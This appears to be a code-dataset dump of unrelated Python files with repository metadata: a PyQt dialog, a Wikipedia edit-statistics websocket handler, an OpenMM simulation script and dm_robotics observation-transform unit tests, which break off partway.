self.inputs[key]=self.inputFields[key].text() def inputStateChanged(self, key): if self.inputFields[key].checkState(): self.inputs[key]=True else: self.inputs[key]=False def inputTextChanged(self, key): self.inputs[key]=self.inputFields[key].currentText() print(self.inputs[key]) def okandClose(self): self.accept() def cancelandClose(self): self.reject() if __name__=='__main__': app = QApplication(sys.argv) dlg = MultiInputDialog(inputs={'value':100,'value2':10.0,'fit':True,'func':['Lor','Gau']}) dlg.show() sys.exit(app.exec_())

47.864583

120

0.654189

3,871

0.842437

0

100

0.021763

a81b25109e2c25d80338be4ee486823e581a2347

3,813

py

Python

src/handlers.py

jneethling/WikiStats

232640bf3799851554fa4c13cee8a7f63eb532e2

[ "MIT" ]

null

src/handlers.py

jneethling/WikiStats

232640bf3799851554fa4c13cee8a7f63eb532e2

[ "MIT" ]

1

2022-01-09T12:07:13.000Z

2022-01-09T15:29:41.000Z

src/handlers.py

jneethling/WikiStats

232640bf3799851554fa4c13cee8a7f63eb532e2

[ "MIT" ]

null

import os import psutil import json import sqlite3 import threading from datetime import datetime, timezone from websocket import create_connection class CustomHandler: def __init__(self): self.working = False self.counter = 0 self.ws = None if self.dbReady('./data/wiki_statsDB'): self.setStatus(True, 'Function handler on standby') else: self.setStatus(False, 'Database error, cannot start service') def dbReady(self, path) -> bool: try: self.db = sqlite3.connect(path, check_same_thread=False) self.cursor = self.db.cursor() self.cursor.execute('''CREATE TABLE IF NOT EXISTS stats(\ id INTEGER PRIMARY KEY,\ country_name TEXT,\ change_size INTEGER)''') self.db.commit() return True except sqlite3.OperationalError: return False def worker(self, stop_event): while not stop_event.is_set(): result = self.ws.recv() country = None if "geo_ip" in result: j_dict = json.loads(result) geo = j_dict.get("geo_ip") country = geo.get("country_name") change = j_dict.get("change_size") if change is None: change = 0 if country is not None: self.cursor.execute('''INSERT INTO stats(country_name, change_size) VALUES(?,?)''', (country, change)) self.db.commit() self.counter += 1 def setStatus(self, status, msg): self.status = status self.message = msg def getStatus(self) -> json: stat_result = os.stat('./data/wiki_statsDB') modified = datetime.fromtimestamp(stat_result.st_mtime, tz=timezone.utc).strftime("%m/%d/%Y, %H:%M:%S") msg = {"Status": self.status, "Message": self.message, "Working in background": self.working, "Records in session": self.counter, "DB size (bytes)": stat_result.st_size, "Modified": modified} return msg def getMemory(self) -> json: memory = 1024 * 1024 proc = psutil.Process(os.getpid()) mem0 = proc.memory_info().rss msg = str(mem0/memory) + 'Mb' return {'Memory use': msg} def getTotals(self) -> json: data = {} self.cursor.execute('''SELECT country_name, SUM(change_size) FROM stats GROUP BY country_name''') for row in self.cursor: data[row[0]] = row[1] msg = json.dumps(data) return msg def getCounts(self) -> json: data = {} self.cursor.execute('''SELECT country_name, COUNT(country_name) FROM stats GROUP BY country_name''') for row in self.cursor: data[row[0]] = row[1] msg = json.dumps(data) return msg def stopWork(self) -> json: self.ws.close self.working = False self.kill_switch.set() self.t.join() self.setStatus(True, 'Function handler on standby') msg = 'Function handler background work stopped' return {'message': msg} def startWork(self) -> json: if self.working: msg = 'Function handler already working in background, ignoring request' return {"message": msg} else: self.ws = create_connection("ws://wikimon.hatnote.com:9000") self.working = True self.setStatus(True, 'Function handler working in background') self.kill_switch = threading.Event() self.t = threading.Thread(target=self.worker, args=(self.kill_switch,)) self.t.start() msg = 'Function handler background work started' return {'message': msg}

32.87069

199

0.575924

3,654

0.958301

0

911

0.238919

a81d611063f78006b5948c72bc4dd6b96d015544

1,035

py

Python

simulate/continue.py

kmckiern/scripts

acc8326ca653d804ee06752af9e7f5b011fc6e0e

[ "MIT" ]

2

2015-04-27T01:57:43.000Z

2015-05-01T18:18:56.000Z

simulate/continue.py

kmckiern/scripts

acc8326ca653d804ee06752af9e7f5b011fc6e0e

[ "MIT" ]

null

simulate/continue.py

kmckiern/scripts

acc8326ca653d804ee06752af9e7f5b011fc6e0e

[ "MIT" ]

null

from __future__ import print_function from simtk.openmm import app import simtk.openmm as mm from simtk import unit from sys import stdout import os import time import numpy as np import argparse from equil import setup_sim, dynamix parser = argparse.ArgumentParser(description='equilibrate structures') parser.add_argument('--sys', type=str, help='system pdb preface') parser.add_argument('--pdb', type=str, help='IC pdb') parser.add_argument('--nmin', type=int, help='number of minimization steps', default=50) parser.add_argument('--nstep', type=int, help='number of steps') args = parser.parse_args() systm = args.sys ns = args.nstep # load initial parameters and geometry prmtop = app.AmberPrmtopFile(systm + '.prmtop') pdb = app.PDBFile(args.pdb) # eq temp temp = 300.0 # timestep ts = 2.0 qs = pdb.positions top = pdb.topology unit_cell = top.getUnitCellDimensions() box = unit_cell*np.eye(3) # run it! sim = setup_sim(prmtop, temp, ts, qs, 'gpu', top, box) dynamix(systm, sim, ns, prmtop, temp, ts, 'gpu', min=args.nmin)

26.538462

88

0.745894

0

215

0.207729

a81eba16cf9a55afaac7c0432d5bc776ba731b35

40,893

py

Python

py/agentflow/preprocessors/observation_transforms_test.py

wx-b/dm_robotics

5d407622360ccf7f0b4b50bcee84589e2cfd0783

[ "Apache-2.0" ]

128

2021-09-08T18:39:39.000Z

2022-03-27T11:29:05.000Z

py/agentflow/preprocessors/observation_transforms_test.py

wx-b/dm_robotics

5d407622360ccf7f0b4b50bcee84589e2cfd0783

[ "Apache-2.0" ]

7

2021-10-11T14:26:17.000Z

2022-03-15T17:26:45.000Z

py/agentflow/preprocessors/observation_transforms_test.py

LaudateCorpus1/dm_robotics

647bc810788c74972c1684a8d2e4d2dfd2791485

[ "Apache-2.0" ]

8

2021-09-08T18:25:49.000Z

2022-02-21T23:45:16.000Z

# Copyright 2020 DeepMind Technologies Limited. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # python3 """Tests for observations_transforms.""" import copy from typing import Mapping, Optional, Type from absl.testing import absltest from absl.testing import parameterized import cv2 import dm_env from dm_env import specs from dm_robotics.agentflow import spec_utils from dm_robotics.agentflow import testing_functions from dm_robotics.agentflow.preprocessors import observation_transforms from dm_robotics.agentflow.preprocessors import timestep_preprocessor from dm_robotics.transformations import transformations as tr import numpy as np _DEFAULT_TYPE = np.float64 def scalar_array_spec(name: str, dtype: Type[np.floating] = _DEFAULT_TYPE): return specs.Array(shape=(), dtype=dtype, name=name) @parameterized.parameters( (observation_transforms.CastPreprocessor, float, float, float), (observation_transforms.CastPreprocessor, np.float32, float, float), (observation_transforms.CastPreprocessor, np.float64, float, float), (observation_transforms.CastPreprocessor, float, np.float32, np.float32), (observation_transforms.CastPreprocessor, np.float32, np.float32, np.float32), (observation_transforms.CastPreprocessor, np.float64, np.float32, np.float32), (observation_transforms.CastPreprocessor, float, np.float64, np.float64), (observation_transforms.CastPreprocessor, np.float32, np.float64, np.float64), (observation_transforms.CastPreprocessor, np.float64, np.float64, np.float64), (observation_transforms.DowncastFloatPreprocessor, float, float, float), (observation_transforms.DowncastFloatPreprocessor, np.float32, float, np.float32), (observation_transforms.DowncastFloatPreprocessor, np.float64, float, float), (observation_transforms.DowncastFloatPreprocessor, float, np.float32, np.float32), (observation_transforms.DowncastFloatPreprocessor, np.float32, np.float32, np.float32), (observation_transforms.DowncastFloatPreprocessor, np.float64, np.float32, np.float32), (observation_transforms.DowncastFloatPreprocessor, float, np.float64, float), (observation_transforms.DowncastFloatPreprocessor, np.float32, np.float64, np.float32), (observation_transforms.DowncastFloatPreprocessor, np.float64, np.float64, np.float64), (observation_transforms.DowncastFloatPreprocessor, np.float128, np.float64, np.float64), # Non-floating point types should not be interefered with. (observation_transforms.DowncastFloatPreprocessor, np.int32, np.float64, np.int32), ) class CastAndDowncastPreprocessorTest(absltest.TestCase): def testCastPreprocessor_Array( self, processor_type: timestep_preprocessor.TimestepPreprocessor, src_type: Type[np.number], transform_type: Type[np.number], expected_type: Type[np.number]): # Arrange: name = testing_functions.random_string(3) processor = processor_type(transform_type) input_observation_spec = { name: specs.Array(shape=(2,), dtype=src_type, name=name), } expected_observation_spec = { name: specs.Array(shape=(2,), dtype=expected_type, name=name), } input_reward_spec = scalar_array_spec(dtype=src_type, name='reward') expected_reward_spec = scalar_array_spec(dtype=expected_type, name='reward') input_discount_spec = scalar_array_spec(dtype=src_type, name='discount') expected_discount_spec = scalar_array_spec(dtype=expected_type, name='discount') input_timestep_spec = spec_utils.TimeStepSpec( observation_spec=input_observation_spec, reward_spec=input_reward_spec, discount_spec=input_discount_spec) input_timestep = timestep_preprocessor.PreprocessorTimestep( step_type=np.random.choice(list(dm_env.StepType)), reward=src_type(0.1), discount=src_type(0.2), observation={name: np.asarray([0.3, 0.4], dtype=src_type)}, pterm=0.1, result=None) # Act: spec_utils.validate_timestep(input_timestep_spec, input_timestep) output_timestep_spec = processor.setup_io_spec(input_timestep_spec) # Assert: expected_timestep = timestep_preprocessor.PreprocessorTimestep( step_type=input_timestep.step_type, reward=expected_type(0.1), discount=expected_type(0.2), observation={name: np.asarray([0.3, 0.4], dtype=expected_type)}, pterm=input_timestep.pterm, result=None) self.assertEqual(output_timestep_spec.observation_spec, expected_observation_spec) self.assertEqual(output_timestep_spec.reward_spec, expected_reward_spec) self.assertEqual(output_timestep_spec.discount_spec, expected_discount_spec) output_timestep = processor.process(input_timestep) spec_utils.validate_timestep(output_timestep_spec, output_timestep) np.testing.assert_almost_equal(output_timestep.observation[name], expected_timestep.observation[name]) np.testing.assert_almost_equal(output_timestep.reward, expected_timestep.reward) np.testing.assert_almost_equal(output_timestep.discount, expected_timestep.discount) def testCastPreprocessor_BoundedArray( self, processor_type: timestep_preprocessor.TimestepPreprocessor, src_type: Type[np.number], transform_type: Type[np.number], expected_type: Type[np.number]): """Same as previous test, but using BoundedArray specs.""" # Arrange: name = testing_functions.random_string(3) processor = processor_type(transform_type) input_minimum = np.asarray([0.3, 0.4], dtype=src_type) input_maximum = np.asarray([0.5, 0.6], dtype=src_type) input_observation_spec = { name: specs.BoundedArray( shape=(2,), dtype=src_type, minimum=input_minimum, maximum=input_maximum, name=name), } input_reward_spec = scalar_array_spec(name='reward', dtype=src_type) input_discount_spec = scalar_array_spec(name='discount', dtype=src_type) input_timestep_spec = spec_utils.TimeStepSpec( observation_spec=input_observation_spec, reward_spec=input_reward_spec, discount_spec=input_discount_spec) input_timestep = timestep_preprocessor.PreprocessorTimestep( step_type=np.random.choice(list(dm_env.StepType)), reward=src_type(0.1), discount=src_type(0.2), observation={name: np.asarray([0.4, 0.5], dtype=src_type)}, pterm=0.1, result=None) # Act: spec_utils.validate_timestep(input_timestep_spec, input_timestep) output_timestep_spec = processor.setup_io_spec(input_timestep_spec) # Assert: expected_minimum = np.asarray([0.3, 0.4], dtype=expected_type) expected_maximum = np.asarray([0.5, 0.6], dtype=expected_type) expected_output_observation_spec = { name: specs.BoundedArray( shape=(2,), dtype=expected_type, minimum=expected_minimum, maximum=expected_maximum, name=name), } expected_output_reward_spec = scalar_array_spec( name='reward', dtype=expected_type) expected_output_discount_spec = scalar_array_spec( name='discount', dtype=expected_type) expected_output_timestep = timestep_preprocessor.PreprocessorTimestep( step_type=input_timestep.step_type, reward=expected_type(0.1), discount=expected_type(0.2), observation={name: np.asarray([0.4, 0.5], dtype=expected_type)}, pterm=input_timestep.pterm, result=None) self.assertEqual( set(output_timestep_spec.observation_spec.keys()), set(expected_output_observation_spec.keys())) spec_utils.verify_specs_equal_bounded( output_timestep_spec.observation_spec[name], expected_output_observation_spec[name]) self.assertEqual(output_timestep_spec.reward_spec, expected_output_reward_spec) self.assertEqual(output_timestep_spec.discount_spec, expected_output_discount_spec) output_timestep = processor.process(input_timestep) spec_utils.validate_timestep(output_timestep_spec, output_timestep) np.testing.assert_almost_equal(output_timestep.observation[name], expected_output_timestep.observation[name]) np.testing.assert_almost_equal(output_timestep.reward, expected_output_timestep.reward) np.testing.assert_almost_equal(output_timestep.discount, expected_output_timestep.discount) def testCastPreprocessor_RewardArray( self, processor_type: timestep_preprocessor.TimestepPreprocessor, src_type: Type[np.number], transform_type: Type[np.number], expected_type: Type[np.number]): # Arrange: name = testing_functions.random_string(3) processor = processor_type(transform_type) input_observation_spec = { name: specs.Array(shape=(2,), dtype=src_type, name=name), } expected_observation_spec = { name: specs.Array(shape=(2,), dtype=expected_type, name=name), } input_reward_spec = specs.Array(shape=(3,), dtype=src_type, name='reward') expected_reward_spec = specs.Array( shape=(3,), dtype=expected_type, name='reward') input_discount_spec = scalar_array_spec(dtype=src_type, name='discount') expected_discount_spec = scalar_array_spec(dtype=expected_type, name='discount') input_timestep_spec = spec_utils.TimeStepSpec( observation_spec=input_observation_spec, reward_spec=input_reward_spec, discount_spec=input_discount_spec) # Some test data that matches the src_type. if np.issubdtype(src_type, np.floating): numbers = (0.1, 0.2, 0.3, 0.4, 0.1) elif np.issubdtype(src_type, np.integer): numbers = (1, 2, 3, 4, 5) else: raise ValueError( 'Only ints and floats are currently supported.') input_timestep = timestep_preprocessor.PreprocessorTimestep( step_type=np.random.choice(list(dm_env.StepType)), reward=numbers[0] * np.ones(shape=(3,), dtype=src_type), discount=src_type(numbers[1]), observation={name: np.asarray(numbers[2:4], dtype=src_type)}, pterm=numbers[4], result=None) # Act: spec_utils.validate_timestep(input_timestep_spec, input_timestep) output_timestep_spec = processor.setup_io_spec(input_timestep_spec) # Assert: expected_timestep = timestep_preprocessor.PreprocessorTimestep( step_type=input_timestep.step_type, reward=numbers[0] * np.ones(shape=(3,), dtype=expected_type), discount=expected_type(numbers[1]), observation={name: np.asarray(numbers[2:4], dtype=expected_type)}, pterm=input_timestep.pterm, result=None) self.assertEqual(output_timestep_spec.observation_spec, expected_observation_spec) self.assertEqual(output_timestep_spec.reward_spec, expected_reward_spec) self.assertEqual(output_timestep_spec.discount_spec, expected_discount_spec) output_timestep = processor.process(input_timestep) spec_utils.validate_timestep(output_timestep_spec, output_timestep) np.testing.assert_almost_equal(output_timestep.observation[name], expected_timestep.observation[name]) np.testing.assert_almost_equal(output_timestep.reward, expected_timestep.reward) np.testing.assert_almost_equal(output_timestep.discount, expected_timestep.discount) class RenameObservationsTest(absltest.TestCase): def test_rename_observations(self): preprocessor = observation_transforms.RenameObservations( obs_mapping={'foo': 'pow', 'faw': 'biz'}) # Generate the input spec and input timestep input_obs_spec = { 'foo': specs.Array(shape=(2,), dtype=np.float64, name='foo'), 'bar': specs.Array(shape=(2,), dtype=np.float64, name='bar'), 'faw': specs.Array(shape=(2,), dtype=np.float64, name='faw'), } input_spec = _build_unit_timestep_spec(observation_spec=input_obs_spec) input_obs = {'foo': [1., 2.], 'bar': [3., 4.], 'faw': [5., 6.]} input_timestep = dm_env.TimeStep( step_type=dm_env.StepType.MID, reward=_DEFAULT_TYPE(0.1), discount=_DEFAULT_TYPE(0.8), observation=input_obs) # Setup expectations. expected_output_spec = input_spec.replace(observation_spec={ 'pow': specs.Array(shape=(2,), dtype=np.float64, name='pow'), 'bar': specs.Array(shape=(2,), dtype=np.float64, name='bar'), 'biz': specs.Array(shape=(2,), dtype=np.float64, name='biz'), }) # Check the spec output_spec = preprocessor.setup_io_spec(input_spec) self.assertEqual(output_spec.observation_spec, expected_output_spec.observation_spec) # Check the timestep. output_timestep = preprocessor.process(input_timestep) spec_utils.validate_timestep(output_spec, output_timestep) np.testing.assert_array_equal(output_timestep.observation['pow'], [1., 2.]) def test_failure_when_renaming_missing_observations(self): preprocessor = observation_transforms.RenameObservations( obs_mapping={'foo': 'pow', 'faw': 'biz'}) # Generate the input spec and input timestep input_obs_spec = { 'foo': specs.Array(shape=(2,), dtype=np.float64, name='foo'), } input_spec = _build_unit_timestep_spec(observation_spec=input_obs_spec) # Calculating the output spec should fail. with self.assertRaises(observation_transforms.MisconfigurationError): preprocessor.setup_io_spec(input_spec) def test_failure_for_duplicate_rename_targets(self): obs_mapping = {'foo': 'pow', 'bar': 'pow'} # Initialization should fail. with self.assertRaises(observation_transforms.MisconfigurationError): observation_transforms.RenameObservations(obs_mapping) def test_failure_for_conflicting_rename_targets(self): # Create the spec and timestep. preprocessor = observation_transforms.RenameObservations( obs_mapping={'foo': 'pow', 'faw': 'bar'}) # Generate the input spec and input timestep input_obs_spec = { 'foo': specs.Array(shape=(2,), dtype=np.float64, name='foo'), 'faw': specs.Array(shape=(2,), dtype=np.float64, name='faw'), 'bar': specs.Array(shape=(2,), dtype=np.float64, name='bar'), } input_spec = _build_unit_timestep_spec(observation_spec=input_obs_spec) # Calculating the output spec should fail. with self.assertRaises(observation_transforms.MisconfigurationError): preprocessor.setup_io_spec(input_spec) class MergeObservationsTest(absltest.TestCase): def test_merge_observation(self): preprocessor = observation_transforms.MergeObservations( obs_to_merge=['foo', 'bar'], new_obs='baz') # Generate the input spec and input timestep input_obs_spec = { 'foo': specs.Array(shape=(2,), dtype=np.float64, name='foo'), 'bar': specs.Array(shape=(2,), dtype=np.float64, name='bar'), 'faw': specs.Array(shape=(2,), dtype=np.float64, name='faw'), } input_spec = _build_unit_timestep_spec(observation_spec=input_obs_spec) input_obs = {'foo': [1., 2.], 'bar': [3., 4.], 'faw': [3., 4.]} input_timestep = dm_env.TimeStep( step_type=dm_env.StepType.MID, reward=_DEFAULT_TYPE(0.1), discount=_DEFAULT_TYPE(0.8), observation=input_obs) # Setup expectations. expected_output_spec = input_spec.replace(observation_spec={ 'baz': specs.Array(shape=(4,), dtype=np.float64, name='baz'), 'faw': specs.Array(shape=(2,), dtype=np.float64, name='faw') }) # Check the spec output_spec = preprocessor.setup_io_spec(input_spec) self.assertEqual(output_spec.observation_spec, expected_output_spec.observation_spec) # Check the timestep. output_timestep = preprocessor.process(input_timestep) spec_utils.validate_timestep(output_spec, output_timestep) np.testing.assert_array_equal(output_timestep.observation['baz'], [1., 2., 3., 4.]) def test_failure_when_merging_missing_observation(self): preprocessor = observation_transforms.MergeObservations( obs_to_merge=['foo', 'bar'], new_obs='baz') # Generate the input spec input_obs_spec = { 'foo': specs.Array(shape=(2,), dtype=np.float64, name='foo')} input_spec = _build_unit_timestep_spec(observation_spec=input_obs_spec) # Calculating the output spec should fail. with self.assertRaises(observation_transforms.MisconfigurationError): preprocessor.setup_io_spec(input_spec) def test_failure_for_conflicting_new_name(self): preprocessor = observation_transforms.MergeObservations( obs_to_merge=['foo', 'bar'], new_obs='faw') # Generate the input spec and input timestep input_obs_spec = { 'foo': specs.Array(shape=(2,), dtype=np.float64, name='foo'), 'bar': specs.Array(shape=(2,), dtype=np.float64, name='bar'), 'faw': specs.Array(shape=(2,), dtype=np.float64, name='faw'), } input_spec = _build_unit_timestep_spec(observation_spec=input_obs_spec) # Calculating the output spec should fail. with self.assertRaises(observation_transforms.MisconfigurationError): preprocessor.setup_io_spec(input_spec) class CropImageObservationTest(absltest.TestCase): def setUp(self): super().setUp() self._input_obs_name = 'input_obs' self._output_obs_name = 'output_obs' # This has a shape of (4,5) self._input_spec = testing_functions.random_array_spec( shape=(4, 5, 3), dtype=float, name=self._input_obs_name) self._input_observation_spec = {self._input_obs_name: self._input_spec} self._input_obs_value = testing_functions.valid_value(self._input_spec) self._input_timestep_spec = testing_functions.random_timestep_spec( observation_spec=self._input_observation_spec) self._input_timestep = testing_functions.random_timestep( spec=self._input_timestep_spec, observation={self._input_obs_name: self._input_obs_value}) spec_utils.validate_timestep(self._input_timestep_spec, self._input_timestep) def _get_expected_spec(self, value: np.ndarray): return testing_functions.random_array_spec( shape=value.shape, dtype=value.dtype, name=self._output_obs_name) def testFullCrop(self): """Don't modify the input at all.""" processor = observation_transforms.CropImageObservation( input_obs_name=self._input_obs_name, output_obs_name=self._output_obs_name, crop_width_relative=1.0, crop_height_relative=1.0, x_offset_relative=0.0, y_offset_relative=0.0) expected_value = self._input_obs_value output_timestep_spec = processor.setup_io_spec(self._input_timestep_spec) self.assertIn(self._output_obs_name, output_timestep_spec.observation_spec) spec_utils.verify_specs_equal_unbounded( self._input_spec.replace(name=self._output_obs_name), output_timestep_spec.observation_spec[self._output_obs_name]) output_timestep = processor.process(self._input_timestep) spec_utils.validate_timestep(output_timestep_spec, output_timestep) np.testing.assert_almost_equal( output_timestep.observation[self._output_obs_name], expected_value) def testCropNoOffset(self): """Crop to a region that is in a corner of the original observation.""" processor = observation_transforms.CropImageObservation( input_obs_name=self._input_obs_name, output_obs_name=self._output_obs_name, crop_width_relative=0.4, crop_height_relative=0.75, x_offset_relative=0.0, y_offset_relative=0.0) expected_value = self._input_obs_value[:3, :2] output_timestep_spec = processor.setup_io_spec(self._input_timestep_spec) self.assertIn(self._output_obs_name, output_timestep_spec.observation_spec) spec_utils.verify_specs_equal_unbounded( self._get_expected_spec(expected_value), output_timestep_spec.observation_spec[self._output_obs_name]) output_timestep = processor.process(self._input_timestep) spec_utils.validate_timestep(output_timestep_spec, output_timestep) np.testing.assert_almost_equal( output_timestep.observation[self._output_obs_name], expected_value) def testSquareCropNoOffset(self): """Crop to a region that is in a corner of the original observation. Leaving out the height parameter should default to a square crop. """ processor = observation_transforms.CropImageObservation( input_obs_name=self._input_obs_name, output_obs_name=self._output_obs_name, crop_width_relative=0.4, x_offset_relative=0.0, y_offset_relative=0.0) expected_value = self._input_obs_value[:2, :2] output_timestep_spec = processor.setup_io_spec(self._input_timestep_spec) self.assertIn(self._output_obs_name, output_timestep_spec.observation_spec) spec_utils.verify_specs_equal_unbounded( self._get_expected_spec(expected_value), output_timestep_spec.observation_spec[self._output_obs_name]) output_timestep = processor.process(self._input_timestep) spec_utils.validate_timestep(output_timestep_spec, output_timestep) np.testing.assert_almost_equal( output_timestep.observation[self._output_obs_name], expected_value) def testCropWithOffset(self): """Crop to the center of the observation.""" processor = observation_transforms.CropImageObservation( input_obs_name=self._input_obs_name, output_obs_name=self._output_obs_name, crop_width_relative=0.6, crop_height_relative=0.5, x_offset_relative=0.5, y_offset_relative=0.5) expected_value = self._input_obs_value[1:3, 1:4] output_timestep_spec = processor.setup_io_spec(self._input_timestep_spec) self.assertIn(self._output_obs_name, output_timestep_spec.observation_spec) spec_utils.verify_specs_equal_unbounded( self._get_expected_spec(expected_value), output_timestep_spec.observation_spec[self._output_obs_name]) output_timestep = processor.process(self._input_timestep) spec_utils.validate_timestep(output_timestep_spec, output_timestep) np.testing.assert_almost_equal( output_timestep.observation[self._output_obs_name], expected_value) def testInvalidParams(self): """Ensure that invalid parameters cause Exceptions.""" # Zero width and height are invalid with self.assertRaisesRegex(ValueError, 'zero'): _ = observation_transforms.CropImageObservation( input_obs_name=self._input_obs_name, output_obs_name=self._output_obs_name, crop_width_relative=0., crop_height_relative=0., x_offset_relative=0., y_offset_relative=0.) # Negative width is invalid with self.assertRaisesRegex(ValueError, 'width must be between'): _ = observation_transforms.CropImageObservation( input_obs_name=self._input_obs_name, output_obs_name=self._output_obs_name, crop_width_relative=-1., crop_height_relative=1., x_offset_relative=0., y_offset_relative=0.) # Height > 1.0 is invalid with self.assertRaisesRegex(ValueError, 'height must be between'): _ = observation_transforms.CropImageObservation( input_obs_name=self._input_obs_name, output_obs_name=self._output_obs_name, crop_width_relative=1., crop_height_relative=1.5, x_offset_relative=0., y_offset_relative=0.) # Offset > 1.0 is invalid with self.assertRaisesRegex(ValueError, 'offset must be between'): _ = observation_transforms.CropImageObservation( input_obs_name=self._input_obs_name, output_obs_name=self._output_obs_name, crop_width_relative=0.6, crop_height_relative=1., x_offset_relative=1.5, y_offset_relative=0.) class CropSquareAndResizeTest(absltest.TestCase): def setUp(self): super().setUp() self._input_obs_name = 'input_obs' self._output_obs_name = 'output_obs' # This has a shape of (4,5) self._input_spec = testing_functions.random_array_spec( shape=(4, 5), dtype=float, name=self._input_obs_name) self._input_observation_spec = {self._input_obs_name: self._input_spec} self._input_obs_value = testing_functions.valid_value(self._input_spec) self._input_timestep_spec = testing_functions.random_timestep_spec( observation_spec=self._input_observation_spec) self._input_timestep = testing_functions.random_timestep( spec=self._input_timestep_spec, observation={self._input_obs_name: self._input_obs_value}) spec_utils.validate_timestep(self._input_timestep_spec, self._input_timestep) def _get_expected_spec(self, value: np.ndarray): return testing_functions.random_array_spec( shape=value.shape, dtype=value.dtype, name=self._output_obs_name) def testCropNoOffset(self): """Crop to a region that is in a corner of the original observation.""" processor = observation_transforms.CropSquareAndResize( input_obs_name=self._input_obs_name, output_obs_name=self._output_obs_name, crop_width_relative=0.8, side_length_pixels=4, x_offset_relative=0.0, y_offset_relative=0.0) expected_value = self._input_obs_value[:4, :4] output_timestep_spec = processor.setup_io_spec(self._input_timestep_spec) self.assertIn(self._output_obs_name, output_timestep_spec.observation_spec) spec_utils.verify_specs_equal_unbounded( self._get_expected_spec(expected_value), output_timestep_spec.observation_spec[self._output_obs_name]) output_timestep = processor.process(self._input_timestep) spec_utils.validate_timestep(output_timestep_spec, output_timestep) np.testing.assert_almost_equal( output_timestep.observation[self._output_obs_name], expected_value) def testScaledCropNoOffset(self): """Crop to a region that is in a corner of the original observation.""" processor = observation_transforms.CropSquareAndResize( input_obs_name=self._input_obs_name, output_obs_name=self._output_obs_name, crop_width_relative=0.8, side_length_pixels=8, x_offset_relative=0.0, y_offset_relative=0.0, interpolation=cv2.INTER_NEAREST) # Nearest neighbor sampling should just duplicate the original pixels expected_value = np.repeat( np.repeat(self._input_obs_value[:4, :4], 2, axis=0), 2, axis=1) output_timestep_spec = processor.setup_io_spec(self._input_timestep_spec) self.assertIn(self._output_obs_name, output_timestep_spec.observation_spec) spec_utils.verify_specs_equal_unbounded( self._get_expected_spec(expected_value), output_timestep_spec.observation_spec[self._output_obs_name]) output_timestep = processor.process(self._input_timestep) spec_utils.validate_timestep(output_timestep_spec, output_timestep) np.testing.assert_almost_equal( output_timestep.observation[self._output_obs_name], expected_value) class PoseRelativeTest(absltest.TestCase): def _check_spec_float_unchanged(self, dtype): preprocessor = observation_transforms.PoseRelativeToEpisodeStart( pos_obs_name='pos', quat_obs_name='quat') # Generate the input spec and input timestep input_obs_spec = { 'pos': specs.Array(shape=(3,), dtype=dtype, name='pos'), 'quat': specs.Array(shape=(4,), dtype=dtype, name='quat'), } input_spec = testing_functions.random_timestep_spec( observation_spec=input_obs_spec) first_input_timestep = testing_functions.random_timestep( spec=input_spec, step_type=dm_env.StepType.FIRST) # Setup expectations. expected_output_spec = input_spec # Check the spec output_spec = preprocessor.setup_io_spec(input_spec) self.assertEqual(output_spec.observation_spec, expected_output_spec.observation_spec) # Check the timestep. output_timestep = preprocessor.process(first_input_timestep) spec_utils.validate_timestep(output_spec, output_timestep) def test_spec_float32_unchanged(self): self._check_spec_float_unchanged(dtype=np.float32) def test_spec_float64_unchanged(self): self._check_spec_float_unchanged(dtype=np.float64) def test_initial_observations(self): preprocessor = observation_transforms.PoseRelativeToEpisodeStart( pos_obs_name='pos', quat_obs_name='quat') # Generate the input spec and input timestep input_obs_spec = { 'pos': specs.Array(shape=(3,), dtype=np.float64, name='pos'), 'quat': specs.Array(shape=(4,), dtype=np.float64, name='quat'), } input_spec = testing_functions.random_timestep_spec( observation_spec=input_obs_spec) input_obs = { 'pos': [1.0, -1.5, 3.2], 'quat': tr.euler_to_quat([0.1, 0.2, 0.3]) } first_input_timestep = testing_functions.random_timestep( spec=input_spec, step_type=dm_env.StepType.FIRST, observation=input_obs) # Setup expectations. expected_output_spec = input_spec # Check the spec output_spec = preprocessor.setup_io_spec(input_spec) self.assertEqual(output_spec.observation_spec, expected_output_spec.observation_spec) # Check the timestep. output_timestep = preprocessor.process(first_input_timestep) spec_utils.validate_timestep(output_spec, output_timestep) output_pos = output_timestep.observation['pos'] np.testing.assert_array_almost_equal(output_pos, [0., 0., 0.]) output_euler = tr.quat_to_euler(output_timestep.observation['quat']) np.testing.assert_array_almost_equal(output_euler, [0., 0., 0.]) def test_relative_observations(self): preprocessor = observation_transforms.PoseRelativeToEpisodeStart( pos_obs_name='pos', quat_obs_name='quat') # Generate the input spec and input timestep input_obs_spec = { 'pos': specs.Array(shape=(3,), dtype=np.float64, name='pos'), 'quat': specs.Array(shape=(4,), dtype=np.float64, name='quat'), } input_spec = testing_functions.random_timestep_spec( observation_spec=input_obs_spec) input_obs = { 'pos': np.array([1.0, -1.5, 3.2]), 'quat': tr.euler_to_quat([0.0, 0.0, 0.0]) } first_input_timestep = testing_functions.random_timestep( spec=input_spec, step_type=dm_env.StepType.FIRST, observation=input_obs) preprocessor.setup_io_spec(input_spec) preprocessor.process(first_input_timestep) pos_offset = np.array([0.1, -0.2, -0.3]) input_obs = { 'pos': (input_obs['pos'] + pos_offset), 'quat': tr.euler_to_quat([0.2, 0.0, 0.0]) } second_input_timestep = testing_functions.random_timestep( spec=input_spec, step_type=dm_env.StepType.MID, observation=input_obs) output_timestep = preprocessor.process(second_input_timestep) output_pos = output_timestep.observation['pos'] np.testing.assert_array_almost_equal(output_pos, pos_offset) output_euler = tr.quat_to_euler(output_timestep.observation['quat']) np.testing.assert_array_almost_equal(output_euler, [0.2, 0., 0.]) class StackObservationsTest(parameterized.TestCase): @parameterized.parameters( (False, (4,), (12,)), (True, (4,), (3, 4)), (False, (1,), (3,)), (True, (1,), (3, 1)), (False, (4, 4), (12, 4)), (True, (4, 4), (3, 4, 4)), ) def test_stack_observations_spec( self, add_leading_dim, input_shape, output_shape): # Generate the input spec and input timestep. input_obs_spec = { 'pos': specs.Array(shape=input_shape, dtype=np.float32, name='pos'), } input_spec = _build_unit_timestep_spec( observation_spec=input_obs_spec) # Generate the expected stacked output spec. expected_output_obs_spec = { 'pos': specs.Array(shape=output_shape, dtype=np.float32, name='pos'), } expected_output_spec = _build_unit_timestep_spec( observation_spec=expected_output_obs_spec) preprocessor = observation_transforms.StackObservations( 